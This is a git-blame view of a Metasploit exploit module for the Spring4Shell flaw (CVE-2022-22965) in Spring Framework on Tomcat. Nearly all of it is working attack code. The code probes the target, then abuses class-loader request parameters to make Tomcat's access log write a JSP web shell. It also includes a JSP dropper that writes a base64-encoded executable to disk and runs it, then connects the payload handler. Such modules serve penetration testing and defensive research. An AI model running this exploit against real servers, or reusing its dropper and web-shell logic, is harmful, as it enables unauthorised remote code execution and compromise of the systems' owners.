Files
metasploit-gs/modules/exploits/multi/http/spring_framework_rce_spring4shell.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

304 lines
9.5 KiB
Ruby
Raw Normal View History

2022-04-07 15:22:18 +02:00
##
2022-04-07 16:40:03 +02:00
# This module requires Metasploit: https://metasploit.com/download
2022-04-07 15:22:18 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
2022-05-05 10:24:04 -04:00
prepend Msf::Exploit::Remote::AutoCheck
2022-05-11 15:31:45 -04:00
include Msf::Exploit::Retry
2022-04-07 15:22:18 +02:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
2022-04-08 09:48:41 +02:00
super(
update_info(
info,
'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
'Description' => %q{
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
to remote code execution due to an unsafe data binding used to populate an object from request parameters
to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
gain remote code execution.
},
'Author' => [
2022-04-07 15:22:18 +02:00
'vleminator <vleminator[at]gmail.com>'
],
2022-04-08 09:48:41 +02:00
'License' => MSF_LICENSE,
'References' => [
2022-04-07 15:22:18 +02:00
['CVE', '2022-22965'],
['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
],
2022-04-08 09:48:41 +02:00
'Platform' => %w[linux win],
'Payload' => {
2022-04-07 15:22:18 +02:00
'Space' => 5000,
'DisableNops' => true
},
2022-04-08 09:48:41 +02:00
'Targets' => [
[
'Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w[linux win]
},
2022-04-07 15:22:18 +02:00
],
2022-04-08 09:48:41 +02:00
[
'Linux',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux'
}
2022-04-07 15:22:18 +02:00
],
2022-04-08 09:48:41 +02:00
[
'Windows',
2022-04-07 15:22:18 +02:00
{
2022-04-08 09:48:41 +02:00
'Arch' => [ARCH_X86, ARCH_X64],
2022-04-07 15:22:18 +02:00
'Platform' => 'win'
}
]
],
2022-04-08 09:48:41 +02:00
'DisclosureDate' => '2022-03-31',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Spring4Shell', 'SpringShell'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
2022-05-05 10:24:04 -04:00
OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),
OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),
2022-04-08 09:48:41 +02:00
]
)
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
2022-04-07 15:22:18 +02:00
end
def jsp_dropper(file, exe)
# The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
2022-04-08 09:48:41 +02:00
dropper = <<~EOS
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"java.util.Base64\" %>
<%@ page import=\"java.io.File\" %>
<%
2022-04-08 09:48:41 +02:00
FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
oFile.flush();
oFile.close();
File f = new File(\"#{file}\");
f.setExecutable(true);
Runtime.getRuntime().exec(\"#{file}\");
2022-04-08 09:48:41 +02:00
%>
EOS
2022-04-07 15:22:18 +02:00
dropper
end
2022-05-05 10:24:04 -04:00
def modify_class_loader(method, opts)
2022-04-08 09:48:41 +02:00
cl_prefix = 'class.module.classLoader'
2022-04-07 15:22:18 +02:00
2022-05-02 12:17:34 -04:00
send_request_cgi({
2022-04-08 09:48:41 +02:00
'uri' => normalize_uri(target_uri.path.to_s),
2022-04-07 15:22:18 +02:00
'version' => '1.1',
2022-05-05 10:24:04 -04:00
'method' => method,
2022-04-07 15:22:18 +02:00
'headers' => {
2022-04-08 09:48:41 +02:00
'c1' => '<%', # %{c1}i replacement in payload
'c2' => '%>' # %{c2}i replacement in payload
2022-04-07 15:22:18 +02:00
},
2022-05-05 10:24:04 -04:00
"vars_#{method == 'GET' ? 'get' : 'post'}" => {
2022-04-08 09:48:41 +02:00
"#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
2022-04-07 15:22:18 +02:00
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
end
def check_log_file
2022-04-07 15:22:18 +02:00
print_status("#{peer} - Waiting for the server to flush the logfile")
2022-05-02 12:17:34 -04:00
print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}")
2022-04-07 15:22:18 +02:00
2022-05-13 09:16:01 -04:00
succeeded = retry_until_truthy(timeout: 60) do
2022-05-02 12:17:34 -04:00
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@jsp_file)
})
2022-04-07 15:22:18 +02:00
2022-05-02 12:17:34 -04:00
res&.code == 200 && !res.body.blank?
end
fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded
2022-05-02 10:45:21 -04:00
2022-05-02 12:17:34 -04:00
print_good("#{peer} - Log file flushed")
2022-04-07 15:22:18 +02:00
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
2022-04-08 09:48:41 +02:00
output = ''
2022-04-07 15:22:18 +02:00
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
2022-04-27 23:35:31 +02:00
elsif l =~ /%>/
next
2022-04-07 15:22:18 +02:00
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
2022-05-02 14:34:51 -04:00
jsp = <<~EOS
<%
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
jsp.delete();
%>
#{Faker::Internet.uuid}
EOS
2022-04-07 15:22:18 +02:00
if target['Arch'] == ARCH_JAVA
2022-05-02 14:34:51 -04:00
jsp << fix(payload.encoded)
2022-04-07 15:22:18 +02:00
else
payload_exe = generate_payload_exe
payload_filename = rand_text_alphanumeric(rand(4..7))
if target['Platform'] == 'win'
2022-05-02 10:45:21 -04:00
payload_path = datastore['WritableDir'] + '\\' + payload_filename
else
payload_path = datastore['WritableDir'] + '/' + payload_filename
end
2022-04-07 15:22:18 +02:00
2022-05-02 14:34:51 -04:00
jsp << jsp_dropper(payload_path, payload_exe)
register_files_for_cleanup(payload_path)
2022-04-07 15:22:18 +02:00
end
2022-05-02 14:34:51 -04:00
jsp
2022-04-07 15:22:18 +02:00
end
def check
2022-05-05 10:24:04 -04:00
@checkcode = _check
end
def _check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
)
2022-04-08 09:48:41 +02:00
return CheckCode::Unknown('Web server seems unresponsive') unless res
2022-04-07 15:22:18 +02:00
if res.headers.key?('Server')
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
else
res.body.match(%r{Apache\s(.*)/([\d|.]+)})
2022-04-07 15:22:18 +02:00
end
server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil
2022-05-02 10:45:21 -04:00
return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)
2022-05-02 10:45:21 -04:00
vprint_status("Detected #{server} #{version} running")
2022-05-05 10:24:04 -04:00
if datastore['HTTP_METHOD'] == 'Automatic'
# prefer POST over get to keep the vars out of the query string if possible
methods = %w[POST GET]
else
methods = [ datastore['HTTP_METHOD'] ]
end
2022-05-05 10:24:04 -04:00
methods.each do |method|
vars = "vars_#{method == 'GET' ? 'get' : 'post'}"
res = send_request_cgi(
'method' => method,
'uri' => normalize_uri(datastore['TARGETURI']),
vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }
)
# setting the default assertion status to a valid status
send_request_cgi(
'method' => method,
'uri' => normalize_uri(datastore['TARGETURI']),
vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }
)
return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400
end
2022-05-05 10:24:04 -04:00
Exploit::CheckCode::Safe
2022-04-07 15:22:18 +02:00
end
def exploit
2022-04-08 09:48:41 +02:00
prefix_jsp = rand_text_alphanumeric(rand(3..5))
date_format = rand_text_numeric(rand(1..4))
@jsp_file = prefix_jsp + date_format + '.jsp'
2022-05-05 10:24:04 -04:00
http_method = datastore['HTTP_METHOD']
if http_method == 'Automatic'
# if the check was skipped but we need to automatically identify the method, we have to run it here
@checkcode = check if @checkcode.nil?
http_method = @checkcode.details[:method]
fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?
print_good("Automatically identified HTTP method: #{http_method}")
end
# if the check method ran automatically, add a short delay before continuing with exploitation
sleep(5) if @checkcode
2022-05-02 10:45:21 -04:00
2022-04-07 15:22:18 +02:00
# Prepare the JSP
print_status("#{peer} - Generating JSP...")
2022-04-08 09:48:41 +02:00
# rubocop:disable Style/FormatStringToken
2022-04-07 15:22:18 +02:00
jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
2022-04-08 09:48:41 +02:00
# rubocop:enable Style/FormatStringToken
2022-04-07 15:22:18 +02:00
# Modify the Class Loader
print_status("#{peer} - Modifying Class Loader...")
properties = {
2022-04-08 09:48:41 +02:00
payload: jsp,
directory: datastore['PAYLOAD_PATH'],
2022-04-08 09:48:41 +02:00
prefix: prefix_jsp,
suffix: '.jsp',
file_date_format: date_format
2022-04-07 15:22:18 +02:00
}
2022-05-05 10:24:04 -04:00
res = modify_class_loader(http_method, properties)
2022-04-07 15:22:18 +02:00
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# No matter what happened, try to 'restore' the Class Loader
properties = {
2022-04-08 09:48:41 +02:00
payload: '',
directory: '',
prefix: '',
suffix: '',
file_date_format: ''
2022-04-07 15:22:18 +02:00
}
2022-05-05 10:24:04 -04:00
modify_class_loader(http_method, properties)
2022-04-08 10:47:23 +02:00
check_log_file
2022-05-02 10:45:21 -04:00
handler
2022-04-07 15:22:18 +02:00
end
end